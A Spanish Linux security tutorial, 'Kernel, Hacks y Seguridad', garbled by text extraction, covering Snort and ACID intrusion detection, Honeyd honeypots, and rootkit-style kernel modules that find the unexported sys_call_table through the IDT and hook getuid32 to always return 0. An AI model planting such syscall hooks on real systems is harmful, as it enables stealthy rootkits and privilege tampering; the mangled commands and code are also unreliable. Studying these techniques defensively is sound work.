ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 18: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga 